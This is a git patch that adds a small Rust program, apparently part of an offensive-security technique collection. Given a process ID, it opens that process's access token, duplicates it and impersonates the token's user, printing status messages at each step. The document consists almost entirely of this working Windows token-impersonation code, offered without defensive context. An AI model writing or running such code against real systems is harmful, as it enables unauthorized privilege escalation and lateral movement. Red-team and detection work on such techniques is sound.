From 0e0cf78dba3f408be12d2056d5a9a3819f7f0d85 Mon Sep 17 00:00:00 2001
From: Idov31 <ido.veltzman@gmail.com>
Date: Wed, 17 Aug 2022 17:45:37 +0300
Subject: [PATCH] Added token manipulation

---
 token_manipulation/Cargo.toml  | 12 +++++
 token_manipulation/src/main.rs | 86 ++++++++++++++++++++++++++++++++++
 2 files changed, 98 insertions(+)
 create mode 100644 token_manipulation/Cargo.toml
 create mode 100644 token_manipulation/src/main.rs

diff --git a/token_manipulation/Cargo.toml b/token_manipulation/Cargo.toml
new file mode 100644
index 0000000..4087e76
--- /dev/null
+++ b/token_manipulation/Cargo.toml
@@ -0,0 +1,12 @@
+[package]
+name = "token_manipulation"
+version = "0.1.0"
+authors = ["Idov31 <github.com/idov31>"]
+edition = "2021"
+
+[[bin]]
+name = "token_manipulation"
+path = "src/main.rs"
+
+[dependencies]
+winapi = {version= "0.3.9", features = ["errhandlingapi", "securitybaseapi", "handleapi", "processthreadsapi"]}
\ No newline at end of file
diff --git a/token_manipulation/src/main.rs b/token_manipulation/src/main.rs
new file mode 100644
index 0000000..6de10ea
--- /dev/null
+++ b/token_manipulation/src/main.rs
@@ -0,0 +1,86 @@
+use std::{
+    env,
+    ptr::null_mut
+};
+use winapi::{
+    um::{
+        processthreadsapi::{
+            OpenProcess, 
+            OpenProcessToken
+        }, 
+        winnt::{
+            MAXIMUM_ALLOWED, 
+            TOKEN_QUERY, 
+            TOKEN_DUPLICATE, 
+            TOKEN_IMPERSONATE, 
+            SecurityImpersonation, 
+            TokenPrimary,
+            PROCESS_QUERY_LIMITED_INFORMATION
+        },
+        handleapi::{INVALID_HANDLE_VALUE, CloseHandle}, 
+        securitybaseapi::{
+            DuplicateTokenEx, 
+            ImpersonateLoggedOnUser
+        }, 
+        errhandlingapi::GetLastError
+    }, 
+    shared::{
+        minwindef::{
+            FALSE, 
+            DWORD
+        }, 
+    }, 
+    ctypes::c_void
+};
+
+fn main() {
+    let mut token: *mut c_void = null_mut();
+    let mut duplicated_token: *mut c_void = null_mut();
+    let args: Vec<String> = env::args().collect();
+
+    if args.len() != 2 {
+        println!("Usage: {} <pid>", args[0]);
+        return;
+    }
+
+    unsafe {
+        let proc_handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, args[1].parse::<DWORD>().unwrap());
+
+        if proc_handle == INVALID_HANDLE_VALUE || proc_handle == 0 as *mut c_void{
+            let last_error = GetLastError();
+            println!("[-] Failed to open process: {}", last_error);
+            return;
+        }
+        println!("[+] Opened process");
+
+        if OpenProcessToken(proc_handle, TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE, &mut token) == 0 {
+            let last_error = GetLastError();
+            println!("[-] Failed to open process token: {}", last_error);
+            CloseHandle(proc_handle);
+            return;
+        }
+
+        if DuplicateTokenEx(token, MAXIMUM_ALLOWED, null_mut(), SecurityImpersonation, TokenPrimary, &mut duplicated_token) == FALSE {
+            let last_error = GetLastError();
+            println!("[-] Failed to duplicate token: {}", last_error);
+            CloseHandle(token);
+            CloseHandle(proc_handle);
+            return;
+        }
+        println!("[+] Duplicated token");
+
+        if ImpersonateLoggedOnUser(duplicated_token) == FALSE {
+            let last_error = GetLastError();
+            println!("[-] Failed to impersonate user: {}", last_error);
+            CloseHandle(duplicated_token);
+            CloseHandle(token);
+            CloseHandle(proc_handle);
+            return;
+        }      
+
+        println!("[+] This thread running as the impersonated user!");
+        CloseHandle(duplicated_token);
+        CloseHandle(token);
+        CloseHandle(proc_handle);
+    };
+}